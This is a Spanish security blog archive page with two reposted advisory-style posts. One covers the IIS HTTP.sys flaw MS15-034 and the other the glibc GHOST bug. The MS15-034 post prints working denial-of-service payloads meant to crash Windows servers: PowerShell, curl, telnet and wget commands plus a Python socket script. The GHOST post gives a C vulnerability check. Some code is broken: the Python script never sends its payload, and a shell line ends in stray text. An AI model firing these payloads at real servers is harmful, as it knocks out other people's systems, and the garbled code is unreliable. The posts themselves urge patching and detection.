Mostrando entradas con la etiqueta grandes vulnerabilidades. Mostrar todas las entradas
Mostrando entradas con la etiqueta grandes vulnerabilidades. Mostrar todas las entradas

jueves, 16 de abril de 2015

MS15-034: parchea ya o muere!


Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.

"Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034.

"Para aprovechar esta vulnerabilidad, un atacante tendría que enviar una solicitud HTTP especialmente diseñada al sistema afectado. La actualización corrige la vulnerabilidad al modificar la forma en que la pila HTTP de Windows maneja las solicitudes".

Precisamente, Mattias alertó que los primeros fragmentos de código para explotar MS15-034 en IIS están empezando a surgir, y lo peor, es trivial ejecutarlo y los resultados pueden ser catastróficos. Por ejemplo, conseguir que un servidor Win2k12 (y versiones posteriores) se caiga (BOYD) o se reinicie mediante una sóla petición HTTP:

- powershell:
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}

- curl:
$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

- un simple Python:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:   
 sys.exit('Give me an IP')
 
Host = sys.argv[1]
 
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
 
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
 
SendPayload(Init, Host)

- O incluso mediante un simple telnet:
$ telnet 10.0.1.1 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

- También enviando una petición a /welcome.png (2008 R2) o /iis-85.png (Windows Server 2012/R2):
wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

Ya véis la facilidad que supone probar estas simples PoC así que ya sabéis... actualizar las firmas de vuestros IPS, de vuestro WAFs y, sobretodo y si todavía no lo has hecho, ¡actualiza el IIS y los servidores Windows tan pronto como sea posible!

pd. Podéis comprobar si los servidores de vuestra LAN con este script de Nmap:
https://github.com/cldrn/nmap/blob/master/scripts/http-vuln-cve2015-1635.nse

Fuentes:
- Remote Code Execution Via HTTP Request In IIS On Windows
- Microsoft Window - HTTP.sys PoC (MS15-034)
- Microsoft Security Bulletin MS15-034 - Critical
- Exploit Code Emerging for Windows HTTP.sys Vulnerability – Patch Now!

- Metasploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb)
- [NSE] Script to detect remote code execution in Microsoft Windows systems (MS15-034)

 Fuente: http://www.hackplayers.com/2015/04/ms15-034-parchea-ya-o-muere.html

lunes, 16 de febrero de 2015

GHOST (CVE-2015-0235), el fantasma que se cierne sobre Linux


Qualys ha publicado una vulnerabilidad grave de desbordamiento de buffer en la función __nss_hostname_digits_dots() usada por otras funciones tan comunes como gethostbyname() y gethostbyname2() de glibc, que un atacante podría provocar al intentar resolver un nombre de host inválido (/etc/hosts o DNS).

Concretamente la función __nss_hostname_digits_dots() no calcula correctamente el tamaño del buffer que tiene que reservar y, bajo ciertas circunstancias, se pueden sobrescribir datos arbitrariamente mediante este desbordamiento. Aunque en principio sólo se pueden sobrescribir 4 bytes de memoria, se ha demostrado que son suficientes para evadir mitigaciones como ASLR y PIE y conseguir la ejecución remota de código.
En la práctica, esto se podría explotar solicitando resolver un nombre de host lo suficientemente largo (al menos 1KB) que cumpla los requisitos normales de nomenclatura (a.b.c.d).

 
Esta vulnerabilidad bautizada como GHOST (por su paralelismo con el nombre de la función afectada) y con código CVE-2015-0235, puede hacer que el atacante tome el control de un servidor Linux con el usuario de la aplicación que está ejecutando la resolución de nombre: Apache, Exim, Sendmail, Nginx, MySQL, TAZAS, Samba, ... ¡la lista es enorme!

Las versiones afectadas son:

- glibc 2.2 a 2.17 (incluidas) son vulnerables
- glibc 2.18 a 2.20 (incluidas) NO son vulnerables
- las versiones anteriores de glibc (<= 2.1.3) NO son vulnerables

Mediante el siguiente script en C hecho por la Universidad de Chicago podemos comprobar si somos vulnerables:

GHOSTTEMP=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
GHOSTEXEC=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
cat <<"EOF" > $GHOSTTEMP
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
EOF
gcc -x c $GHOSTTEMP -o $GHOSTEXEC
$GHOSTEXEC
rm -f $GHOSTTEMP $GHOSTEXECPaste your text here.

En caso que seamos vulnerables tendremos:
(...)
# gcc -x c $GHOSTTEMP -o $GHOSTEXEC
# $GHOSTEXEC
vulnerable
# rm -f $GHOSTTEMP $GHOSTEXEC 

Las siguientes distribuciones de Linux tiene versiones vulnerables de glibc:
Ubuntu
10.04 LTS     fix available     fixed in libc6 2.11.1-0ubuntu7.20
12.04 LTS     fix available     fixed in libc6 2.15-0ubuntu10.10
14 and newer     not vulnerable

Debian
6.x - squeeze     vulnerable
6.x - squeeze (LTS)     vulnerable
7.x - wheezy     vulnerable
7.x - wheezy (security)     fix available     fixed in glib 2.13-38+deb7u7
8.0 - jesse     not vulnerable
dev - sid     not vulnerable

Red Hat Enterprise
fix information
Desktop (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Desktop (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
HPC Node (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
HPC Node (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Server (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
Server EUS (v. 6.6.z)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
Workstation (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5

Mint
13 “Maya”     fix available     Tracks Ubuntu 12.04, should get update from Ubuntu servers
17 “Qiana”     not vulnerable
17.1 “Rebecca”     not vulnerable

Gentoo
libc information
stable     not vulnerable      uses glibc 2.19-r1

Arch
fixed in all releases since August 2013, discussion here and package info here
anything recent     not vulnerable

Fedora
discussion
19 and earlier     vulnerable     uses glibc 2.17 and earlier
20     not vulnerable     uses glibc 2.18
21     not vulnerable     uses glibc 2.20

Mandriva Linux
all     vulnerable     appears to use glibc 2.16

openSUSE
vulnerability information
Enterprise 11 & older     vulnerable
Enterprise 12     not vulnerable
openSUSE 13.1 & newer      not vulnerable

Slackware
current     not vulnerable     uses glibc 2.20
14.1 and earlier     vulnerable     uses glibc 2.17 and earlier

Knoppix
information about glibc versions
7.2 and earlier     vulnerable     uses glibc 2.17 and earlier
7.4 and later     not vulnerable     uses glibc 2.19 and later

Slax
all     vulnerable     appears to use glibc 2.15

Lo llamativo de esta vulnerabilidad, sobre la que se informó públicamente ayer, es que estaba en glibc desde el año 2000 y no fue resuelta hasta 2013; sin embargo, la corrección no se marcó como de seguridad, por lo que distribuciones de largo recorrido como las LTS de Ubuntu, Debian o RHEL, no aplicaron el parche.

Sea como fuere, si tu distribución tiene ya parches disponibles aplicalos cuanto antes:

- Actualiza a glibc 2.18 o más reciente
- Reinicia todos los procesos que cargan la biblioteca glibc
- Corrige los nuevos binarios de software que estén enlazados estáticamente contra versiones vulnerables de la biblioteca glibc. 


Fuentes: 
- The GHOST Vulnerability
- Critical “GHOST” Vulnerability Released
- GHOST, el fantasma que acechaba en glibc
- Comprobar si somos vulnerables a Ghost CVE-2015-0235
- Ghost, un agujero de seguridad en Linux más peligroso para Internet que Heartbleed
- Vulnerability Overview: Ghost (CVE-2015-0235)
- Severe “Ghost” flaw leaves Linux systems vulnerable to takeover
- Scary 'Ghost' vulnerability leaves Linux systems vulnerable to possession
- GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235 
 
Fuente: http://www.hackplayers.com/2015/01/ghost-cve-2015-0235-el-fantasma-de-linux.html